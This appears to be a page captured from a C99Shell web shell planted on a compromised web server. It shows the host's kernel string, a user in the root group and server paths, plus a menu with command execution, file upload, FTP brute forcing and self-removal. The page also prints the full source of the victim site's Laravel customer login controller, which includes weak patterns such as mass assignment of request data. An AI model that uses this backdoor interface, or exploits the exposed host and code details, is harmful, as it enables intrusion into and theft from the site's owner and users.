!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/app/Http/Controllers/Auth/   drwxr-xr-x
Free 25.29 GB of 117.98 GB (21.43%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CustomerLoginController.php (6.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Auth;

use 
App\Events\SendMail;
use 
App\Http\Controllers\Controller;
use 
App\Models\AuthorizationToken;
use 
App\Models\Customer;
use 
App\Models\Label;
use 
App\Models\Plan;
use 
App\Models\Settings;
use 
App\Models\User;
use 
App\Models\VerifyCustomer;
use 
foo\bar;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\Mail;
use 
Illuminate\Support\Facades\URL;
use 
Illuminate\Support\Str;

class 
CustomerLoginController extends Controller
{
    public function 
index()
    {

        
$data['registration_status'] = get_settings('registration_status');
        
$data['googleCredentials'] = json_decode(get_settings('login_with_google'));
        return 
view('auth.login',$data);
    }

    public function 
authenticate(Request $request)
    {
        
$credentials['email'] = trim($request->email);
        
$credentials['password'] = trim($request->password);
        
$credentials['status'] = 'active';

        
$customer Customer::where(['email' => $credentials['email']])->first();

        if (isset(
$customer) && \Hash::check($credentials['password'], $customer->password)) {
            if(!
$customer->email_verified_at) return back()->withErrors(['msg'=>'Please verify your email address.']);

            if (
$customer && $customer->status != 'Active') return back()->withErrors(['msg' => 'Account temporary blocked. Contact with administrator']);

        }


        
$remember_me $request->has('remember_me') ? true false;
        if (
Auth::guard('customer')->attempt($credentials$remember_me)) {
            return 
redirect()->route('customer.dashboard');
        }
        return 
back()->withErrors(['msg' => 'Invalid email or password. Please try again.']);
    }

    public function 
logout()
    {
        
auth('customer')->logout();
        return 
redirect()->route('login');
    }

    public function 
sign_up()
    {
        
$data['googleCredentials'] = json_decode(get_settings('login_with_google'));

        return 
view('auth.registration',$data);
    }

    public function 
sign_up_create(Request $request)
    {
        if(
get_settings('registration_status')!='enable'){
            
abort(404);
        }
        
$request->validate([
            
'first_name' => 'required',
            
'last_name' => 'required',
            
'email' => 'required|email|unique:customers',
            
'password' => 'required|min:6',
        ]);
        
$admin User::first();
        
$request['admin_id'] = $admin->id;
        
$request['status'] = 'inactive';

        
$customer $admin->customers()->create($request->all());
        
$customer->wallet()->create(['amount'=> 0]);

        
$access_token$customer->createToken($customer->email)->plainTextToken;
        
$preToken AuthorizationToken::where('customer_id'$customer->id)->first();
        
$authorization = isset($preToken) ? $preToken : new AuthorizationToken();
        
$authorization->access_token $access_token;
        
$authorization->customer_id=$customer->id;
        
$authorization->refresh_token $access_token;
        
$authorization->save();

        
//Assigning plan to customer

        //TODO:: sent a mail here for confirmation mail

        
$token Str::random(32);
        
$verify = new VerifyCustomer();
        
$verify->customer_id $customer->id;
        
$verify->token $token;
        
$verify->save();


        
$emailTemplate get_email_template('registration');
        if (
$emailTemplate) {
            
$route route('customer.verify.view',['customer' => $customer->id'token' => $token]);

            
$regTemp str_replace('{customer_name}'$customer->first_name.' '.$customer->last_name$emailTemplate->body);
            
$regTemp str_replace('{click_here}'"<a href=" $route ">" trans('layout.click_here') . "</a>"$regTemp);
            
SendMail::dispatch($customer->email$emailTemplate->subject$regTemp);
        }
        return 
redirect()->route('login')->with('success''Congratulations !! An email has been sent to your mail address');

    }

    public function 
verifyView(Request $request){
        
$customer=$request->customer;
        
$data['customer'] = Customer::where('id',$customer)->firstOrFail();

        return 
view('mail.verify_customer',$data);
    }

    public function 
verify(Request $request)
    {
        
$customer $request->customer;
        
$token $request->token;

        
$customer Customer::find($customer);

        if (!
$customer) return redirect()->route('login')->with('fail''Invalid token or token has been expired');

        
$verify VerifyCustomer::where(['customer_id' => $customer->id'token' => $token'status' => 'pending'])->first();

        if (!
$verify) return redirect()->route('login')->with('fail''Invalid token or token has been expired.');

        
$customer->status 'active';
        
$customer->email_verified_at now();
        
$customer->save();

        
$verify->delete();

        return 
redirect()->route('login')->with('success''Email successfully verified');
    }
    public function 
login_with_google(Request $request){
        
$request->validate([
           
'token'=>'required'
        
]);

// Get $id_token via HTTPS POST.
       
$googleCredentialsjson_decode(get_settings('login_with_google'));
      if(!isset(
$googleCredentials->client_id)){
          return 
response()->json(['status'=>'failed','message'=>'Invalid Google Login Credentials'],400);
      }

         
$client = new \Google_Client(['client_id' => $googleCredentials->client_id]);  // Specify the CLIENT_ID of the app that accesses the backend
        
$payload $client->verifyIdToken($request->token);

        if(!
$payload || !isset($payload['email'])){
            return 
response()->json(['status'=>'failed','message'=>'Invalid Token'],400);
        }

       
$customer Customer::where('email'$payload['email'])->first();

       if(
$customer){
           
auth('customer')->loginUsingId($customer->id);
           return 
response()->json(['status'=>'success'],200);

       }else{

           
$admin User::first();
           
$customer = new Customer();
           
$customer->admin_id $admin->id;
           
$customer->first_name $payload['name'];
           
$customer->email $payload['email'];
           
$customer->status ='active';
           
$customer->remember_token $request->token;
           
$customer->save();
           
$customer->wallet()->create(['amount'=> 0]);
           
auth('customer')->loginUsingId($customer->id);
           return 
response()->json(['status'=>'success'],200);
       }
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--